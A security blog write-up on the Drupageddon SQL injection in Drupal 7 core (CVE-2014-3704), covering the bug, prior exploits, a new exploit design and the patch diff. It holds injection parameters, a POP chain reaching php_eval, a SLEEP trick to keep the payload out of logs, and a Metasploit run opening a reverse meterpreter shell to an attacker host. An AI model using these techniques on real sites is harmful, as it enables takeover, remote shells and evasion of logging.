In this article:
Usually Drupal teams do a great job into ensuring a reasonable security level to their users. Most of the Drupal critical vulnerabilities come from community modules, modules which are hosted on a central place where the ones not conforming with Drupal security requirement get a specific red banner (“This module is unsupported due to a security issue the maintainer didn’t fix.”) and are tagged as abandoned.
However, mistakes still happen, as Stefan Horst discovered in 2014 when he found out the Drupageddon vulnerability, also known as CVE-2014-3704 and Drupal SA-CORE-2014-005.
I find this vulnerability quite interesting as it is an SQL injection vulnerability affecting Drupal core which relies on PDO for its database accesses which, in theory, should make it immune to such vulnerability.
Moreover, we will see that Drupal’s features allow to extend this vulnerability way further than a simple SQL injection. We will also see the limitations of existing exploit and how we can write a new, more efficient way to take advantage of this weakness.
A word about PDO
A classical SQL injection takes advantage of the variable part of SQL queries to insert arbitrary SQL commands.
A classical example is the following query:
$account = $db->query("SELECT * FROM users WHERE user = '${_POST['user']}' AND password = '${_POST['password']}'"); if ($account) { // Authentication successful. } else { // Authentication failed. }
A malicious users can send a specially crafted values such as these:
Parameter | Value |
---|---|
user |
foo' # |
password |
bar |
Making the SQL to be expanded this way and effectively allowing the attacker to bypass authentication by commenting out the password checking:
SELECT * FROM users WHERE user = 'foo' #' AND password = 'bar'
One aspect of the issue here is that user-provided parameters weren’t sanitized enough before being used. At this end, for a long time each PHP framework came with its own wrappers around the native database API to make such sanitization easier.
However, such solution wasn’t ideal:
- The wrapper functions were framework specific, each framework having its own syntax.
- Directly using the underlying function was still widely used, either by laziness or because framework-provided API was too restrictive to cover a particular use-case efficiently.
- Any development made outside of a full-featured framework were not covered and required to reinvent the wheel every time.
Here comes PDO, a standardized way to enforce a strong separation between a static SQL request and the dynamic values it may contain, each of them being passed as separate parameters to the PDO functions:
$query = $db->prepare("SELECT * FROM users WHERE user = :user AND password = :password"); $account = $query->execute(array(':user' => $_POST['user'], ':password' => $_POST['password'])); if ($account) { // Authentication successful. } else { // Authentication failed. }
This removes any ambiguity between what composes the static SQL request and what composes its dynamic parameters. When used over a MySQL database, PDO also takes advantage of MySQL own prepared statements feature to keep this isolation up to the database server which will handle the query and its parameters separately.
Using PDO should therefore make SQL injection a thing of the past, but…
Drupageddon: a SQL injection vulnerability affecting Drupal core
Drupal’s placeholder arrays
There are regular SQL injection advisories involving Drupal, but these are generally about weakly coded contributed modules where the developers doesn’t use PDO correctly and inserts unsanitized user-provided data in the “static” part of the SQL request, effectively annihilating all PDO protections.
However, an exploitable SQL injection vulnerability has been discovered in Drupal core itself.
The fact is that in Drupal database queries are not fully static. As an attempt to provide the most flexibility as possible to modules developers, database queries structure can be generated or altered dynamically through several means.
In particular, and this is the case which will interest us here, Drupal offers to use placeholder arrays:
db_query("SELECT * FROM {node} WHERE nid IN (:nids)", array(':nids' => array(13, 42, 144)));
Drupal database core library will extend the :nids
placeholder to match the
number of provided arguments:
SELECT * FROM {node} WHERE nid IN (:nids_0, :nids_1, :nids_2)
Note that unlike code vulnerable to standard SQL injection this functionality doesn’t attempt to insert any user-provided data in the request, such data remains safely passed as separate PDO parameters, isolated from the SQL request.
Except that…
PHP array parameters
PHP allows to pass indexed arrays as parameters (GET, POST and cookies).
This feature is useful for use-cases such as forms where a particular field may be present several times (tags, complementary address lines, etc.) or where the user may have the ability to fill several forms at once (several file upload forms for instance, each with their own properties).
But this feature, especially when associated to PHP weak typing, also opens the door to numerous vulnerabilities.
In particular:
- Drupal may receive an array where it was initially only expecting a string parameter.
- Drupal may receive string array indexes, where it was initially only expecting integer-based arrays.
The SQL injection
Let’s port our initial example to Drupal’s API:
$account = db_query("SELECT * FROM {users} WHERE user = :user AND password = :password", array(':user' => $_POST['user'], ':password' => $_POST['password'])); if ($account) { // Authentication successful. } else { // Authentication failed. }
Visually it seems very close to the PDO example above.
But now imagine a malicious user sending the following values:
Parameter | Value |
---|---|
user[0 #] |
foo |
user[0] |
bar |
password |
baz |
Drupal placeholder arrays mechanism will happily accept the $_POST['user']
parameter to be an array and use the raw array string indexes to
generate the new placeholder names, resulting in the following query:
SELECT * FROM {users} WHERE user = :user_0 #, :user_0 AND password = :password
Authentication has been successfully been bypassed, despite the use of PDO.
When things can go worse, they will.
First, unlike traditional SQL API, PDO allows multiple queries to be provided at once.
Still taking the example above, the malicious user could append a whole new
query to the legitimate one by setting $_POST('user']
value as follow:
user[0; INSERT INTO users VALUES 'wwwolf', 'Passw0rd!', 'Administrators'; #]
Thus, while PDO effectively provides a good level of protection against SQL injection, at the same time it makes such injection far more devastating.
Moreover, Drupal provides various ways to trigger PHP code execution from the database:
-
PHP code can be embedded inside posts content. This feature is disabled by default, but someone with a write access to the database can easily re-enable it.
-
Several functionalities rely on callback functions, the name of these functions is often stored in the database and used as-is without any further check or alteration.
-
Arbitrary files can be dynamically included, either as a declared dependency or thanks to a registry stored in the database and loading files as part of the objects PHP autoloading process.
Having a write access to a Drupal database therefore usually implies the ability to run arbitrary commands on the web server through one or another way.
Exploitation
Existing exploits
Upon the vulnerability disclosure, Stefan Horst was asked by the Drupal security team to postpone the publication of his PoC:
Proof of Concept:
SektionEins GmbH has developed a proof of concept, but was asked by Drupal to postpone the release.
And he did so for two weeks, until it became evident that third-party exploits were now widespread1.
Automated attacks began compromising Drupal 7 websites that were not patched or updated to Drupal 7.32 within hours of the announcement of SA-CORE-2014-005 - Drupal core - SQL injection. You should proceed under the assumption that every Drupal 7 website was compromised unless updated or patched before Oct 15th, 11pm UTC, that is 7 hours after the announcement. — Drupal Security Team
With this in mind we release more information about the bug including a code execution PoC, which takes only one GET request with a cookie that will not be shown in any log.
The first exploits published during these two weeks, similar if not directly related to fyukyuk‘s work, simply approached this as a simple SQL injection vulnerability and did no take advantage of the code execution possibilities.
During that time, a Metasploit module was also developed for Metasploit which built over this to create a rather blunt but effective way to achieve code execution on a vulnerable target:
-
The SQL injection entry point is in
user_login_authenticate_validate()
, the function validating the user name during the authentication phase:$account = db_query("SELECT * FROM {users} WHERE name = :name AND status = 1", array(':name' => $form_state['values']['name']))->fetchObject();
The name field from the Drupal authentication form is transmitted without alteration to the database API.
-
The injected SQL query adds a new user, and then adds it to the administrators group2.
-
Modify the website setting to enable PHP code in posts content, and grant the members of the administrators group the right to use this feature.
-
Open a session using the newly created user, and start to create some content containing the code to execute.
-
Use the preview feature to render the content, thus executing the payload.
The Nmap script allowing to detect vulnerable hosts is just a port of the Metasploit modules and therefore implements the same method, albeit it added a few cleaning routines notably to delete the newly created administrator account.
The PoC published two weeks later by Stefan Horst is however very interesting and shows a far more subtle way to exploit this vulnerability and requires only a single request to pwn the target and, as a bonus, avoid the payload from being logged.
To achieve this, Stefan forges a malicious cookie injecting SQL code in Drupal’s query to fetch the current session information:
if ($is_https) { $user = db_query("SELECT u.*, s.* FROM {users} u INNER JOIN {sessions} s ON u.uid = s.uid WHERE s.ssid = :ssid", array(':ssid' => $sid))->fetchObject(); if (!$user) { if (isset($_COOKIE[$insecure_session_name])) { $user = db_query("SELECT u.*, s.* FROM {users} u INNER JOIN {sessions} s ON u.uid = s.uid WHERE s.sid = :sid AND s.uid = 0", array( ':sid' => $_COOKIE[$insecure_session_name])) ->fetchObject(); } } }
Faking the UID here would allow to get a session with administrative privileges bypassing any authentication checking and logging, which would already be great, but Stefan went further than that. Instead of altering the SQL request to forge the UID, he forged the session state data.
This data is a serialized array available for any module having to store state information data. This information can include callback function names, allowing the module to be invoked and update the session data as needed.
Thanks to this callback functionality, a malicious sessions state can therefore be used to initiate a POP chain ending with the execution of the payload.
All this using a single request: brilliant!
However, Stefan’s PoC has two limitations
-
The code it targets is only executed by HTTPS websites (noticed the
if ($is_https)
in the code sample above?).This PoC is therefore ineffective against HTTP websites or HTTPS websites running behind a reverse proxy.
-
The exploit relies on the
assert()
function to execute the payload.Assertions are disabled by default, so this exploit wouldn’t work on default installations.
Damned! But let’s see if we can do something about this…
Building a better exploit
Widely compatible entry-point
In Stefan Hort’s PoC, the entry point used was too specific.
Default Drupal installations are quite naked, and there is not much exposed to unauthenticated users, so I will just stick in using the login form as entry point as previous exploits (that is, the login page itself, and not the login block as some exploits do as the block can be disabled).
Drupal’s login form has a fixed URL: /?q=user/login
.
Warning
Some websites enforces the use of “clean URLs”, redirecting requests such
as /?q=user/login
to /user/login
.
A good exploit must take this into account and follow such redirects to remain effective.
The injection is done by turning the name
input field into an array and
putting the injected SQL request in its first index:
-
name[0; SQL_CODE_HERE #]=
: This POST parameter will inject the malicious code inside the request checking users authentication as described above. -
The parameter must be followed by another
name[0]=
POST parameter to allow a proper expansion of the PDO parameters. -
None of this parameters require any value.
Logged evidences
Using the login form usually leaves a malformed “Failed authentication attempt” log entry adding a display error on each rendering of the log page.
Unlike the creation and use of a new administrator account, this does not shout “You have been hacked” to the average user, but can still appear suspicious. In particular, while Drupal fails to display it in its web interface, the initial payload sent through the username gets recorded in the log message (it is the cause of the message being malformed), removing any doubt to more experienced investigators.
An easy way to avoid this message is to append a long SLEEP()
to the
injected SQL query, making the PHP script to timeout and be silently terminated.
PHP uses a 60 seconds timeout for the default production settings, the web server itself also may have a timeout, and at last some server may be configured to forcibly stop a PHP script when the connection is closed client-side.
Passing a value a few over a dozen of minutes should therefore be fine for most circumstances while still preventing anything really bad from happening server-side:
SQL_CODE_HERE; SELECT SLEEP(666);
Note
As a drawback, when we use this method and in case of a successful injection the attacker will receive no feedback from its target. We will therefore have to wait some arbitrary time before sending the second request triggering the hopefully stored payload.
Due to this, I don’t use this trick for the Nmap script, allowing quicker and more reliable tests.
However, I use it for the Metasploit module, which offers a configurable
WAIT
advanced option which defaults to waiting 5 seconds between the
two requests.
Payload execution
It is not possible to directly pass eval()
as a callback function for the
payload execution because it is not a function but a PHP laguage construct.
Trying something like this will fail because of this reason:
$function = 'eval'; $function("echo('Hello world!');");
To avoid this issue:
-
Stefan Horst relies on
assert()
as callback function name, however assertions are disabled by default and therefore this will have no effect unless they have been manually enabled or PHP development settings selected instead of the production ones. -
Current Metasploit and Nmap exploits enable the PHP module, add administrators the right to include PHP content in their posts and, once connected as an administrator, upload the payload into a new post and request a preview of it to execute the payload.
Behind the scenes, the PHP modules relies on its own php_eval()
function to
execute PHP code.
This function is in fact a wrapper around the eval()
PHP language construct,
and don’t require any fancy parameter, making it the perfect candidate as our
callback function:
function php_eval($code) { // ... skipped ... ob_start(); print eval('?>' . $code); $output = ob_get_contents(); ob_end_clean();
However, this has one drawback that we need to fix: in theory this function is available only when the PHP module is enabled, and we don’t want to enable it.
Making the php_eval()
function available
In practice, the need to enable the PHP module can easily be bypassed. All that is needed is to make Drupal to include the modules/php/php.modules file before processing the callback function.
Fortunately, Drupal provides an official functionality to answer this precise need3. All we need to do is to store the following additional “form-state” along our malicious form cache entry:
form-state = array( "build_info" => array( "files" => array( "modules/php/php.module", ), ), );
It will be processed by the form_get_cache()
function which will ensure that
the content of the required file gets loaded before invoking any callback:
foreach ($form_state['build_info']['files'] as $file) { // ... skipped ... require_once DRUPAL_ROOT . '/' . $file;
Stealth POP chain
POP here stands for Property Oriented Programming, and has nothing to do with the push and pop stack actions.
Property oriented programming consists in setting and assembling a set of variables and properties in a way which will most likely not make any sense at all from a functional perspective, but will orient the execution flow toward a section of code targeted by the attacker.
Here, we want to start from a function handling cached form callbacks and
end-up calling php_eval
passing it the PHP payload as its first parameter,
raising as few warning and error messages as possible in the process due to
unexpected types and parameters.
Note
A useful thing to keep in mind when building POP chains is that PHP functions tolerate extra parameters, so there is no problem in passing four parameters to a function expecting only two.
The starting point of our chain will be the form_builder()
function which
supports callback functions to dynamically generate some parts of the form:
foreach ($element['#process'] as $process) { $element = $process($element, $form_state, $form_state['complete form']); }
From there, the most efficient chain I found was by going through the
drupal_render()
function defined in include/common.inc and invoking
php_eval()
from there.
This is achieved using the following form value:
form = array( "#type" => "form", "#parents" => array( "user", ), "#process" => array( "drupal_render", ), "#defaults_loaded" => true, "#post_render" => array( "php_eval", ), "#children" => "<?php PHP_PAYLOAD_HERE", );
This POP chain does not raise any log message.
The final result
Setting up the test environment
The following procedure can be used to create a vulnerable server from a freshly installed Debian 9 “stretch”.
Install the prerequisites:
1 | sudo apt install apache2 libapache2-mod-php mariadb-server php-gd php-mysql php-xml |
Install the database:
1 2 3 | sudo service mariadb start sudo mysql_secure_installation sudo mysql -u root |
Note
Authentication defaults to using socket owner instead of the traditional password. No password is required nor will be checked for the root account.
MySQL commands:
1 2 3 4 5 | CREATE DATABASE drupal CHARACTER SET utf8 COLLATE utf8_general_ci; CREATE USER 'drupal'@'localhost' IDENTIFIED BY 'Passw0rd!'; GRANT ALTER, CREATE, CREATE TEMPORARY TABLES, DELETE, DROP, INDEX, INSERT, LOCK TABLES, SELECT, UPDATE ON drupal.* TO 'drupal'@'localhost'; EXIT |
Install Drupal files (use drupal-7.0.tar.gz to get Drupal 7.0):
1 2 3 4 5 6 | wget https://ftp.drupal.org/files/projects/drupal-7.31.tar.gz unar drupal-7.31.tar.gz sudo rm /var/www/html/* sudo cp -r drupal-7.31/. /var/www/html/ sudo install -g www-data -m 775 -d /var/www/html/sites/default/files sudo install -g www-data -m 664 /var/www/html/sites/default/{default.,}settings.php |
Warning
Don’t miss the dot at the end of drupal-7.31/.
if you want cp
to also
copy the hidden file .htaccess and put everything at the right place.
Start the web server:
1 | sudo service apache2 start |
Connect to the web interface to install Drupal using the default options.
Once Drupal has been successfully installed:
1 | sudo chmod 644 /var/www/html/sites/default/settings.php
|
Nmap check script
The Nmap script implementing the new exploit is available here:
Here is a sample output:
root@kali:~# nmap -PS80 -p80 -n --script=$HOME/http-vuln-cve2014-3704.nse 192.168.1.31 Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-15 20:57 CET Nmap scan report for 192.168.1.31 Host is up (0.00072s latency). PORT STATE SERVICE 80/tcp open http | http-vuln-cve2014-3704: | VULNERABLE: | Drupal - pre Auth SQL Injection Vulnerability | State: VULNERABLE (Exploitable) | IDs: CVE:CVE-2014-3704 | The expandArguments function in the database abstraction API in | Drupal core 7.x before 7.32 does not properly construct prepared | statements, which allows remote attackers to conduct SQL injection | attacks via an array containing crafted keys. | | Disclosure date: 2014-10-15 | References: | https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html | https://www.drupal.org/SA-CORE-2014-005 | http://www.securityfocus.com/bid/70595 |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3704 MAC Address: 00:1D:CB:80:18:00 (Exns Development Oy) Nmap done: 1 IP address (1 host up) scanned in 1.39 seconds root@kali:~#
This script still supports the http-vuln-cve2014-3704.cmd
argument already
proposed by the previous one to specify a shell command to execute on
vulnerable remote hosts.
Metasploit exploitation module
The Metasploit module implementing the new exploit is available here:
Here is a sample output:
msf > use exploit/multi/http/drupal_cve2014_3704 msf exploit(drupal_cve2014_3704) > set PAYLOAD php/meterpreter/reverse_tcp PAYLOAD => php/meterpreter/reverse_tcp msf exploit(drupal_cve2014_3704) > set RHOST 192.168.1.31 RHOST => 192.168.1.31 msf exploit(drupal_cve2014_3704) > set LHOST 192.168.1.100 LHOST => 192.168.1.100 msf exploit(drupal_cve2014_3704) > run [*] Started reverse TCP handler on 192.168.1.100:4444 [*] Sending stage (37514 bytes) to 192.168.1.31 [*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.31:47728) at 2017-11-15 20:53:46 +0100 meterpreter > getuid Server username: www-data (33) meterpreter >
This module implements the SQL SLEEP()
trick to avoid raising any suspicious
log message at all.
Drupal fix
The fix implemented in Drupal 7.32 onward is very short:
diff --git a/includes/database/database.inc b/includes/database/database.inc index f78098b..01b6385 100644 --- a/includes/database/database.inc +++ b/includes/database/database.inc @@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO { // to expand it out into a comma-delimited set of placeholders. foreach (array_filter($args, 'is_array') as $key => $data) { $new_keys = array(); - foreach ($data as $i => $value) { + foreach (array_values($data) as $i => $value) { // This assumes that there are no other placeholders that use the same // name. For example, if the array placeholder is defined as :example // and there is already an :example_2 placeholder, this will generate
It guaranties that each index used to expand placeholder arrays is indeed a numerical value.
-
Drupal people warned in advanced of an upcoming major vulnerability fix and then provided the fix at the same time of the vulnerability announcement. Some people at that time expressed some concerns about this process and wondered whether Drupal shouldn’t have put some delay between the fix release and the official announcement. ↩
-
This is the worst and last option to use, as even on low to not monitored environments where people never look at the logs, the sudden apparition of a new member in the close circle of the website administrators will most likely be very quickly noticed and immediately raise a red flag. ↩
-
This functionality is designed for complex forms such as some administration forms. The code handling such forms may be very large and be unneeded in most cases. To optimize things, the programmer can therefore put such code in a separate file and load it only when it is explicitly required. ↩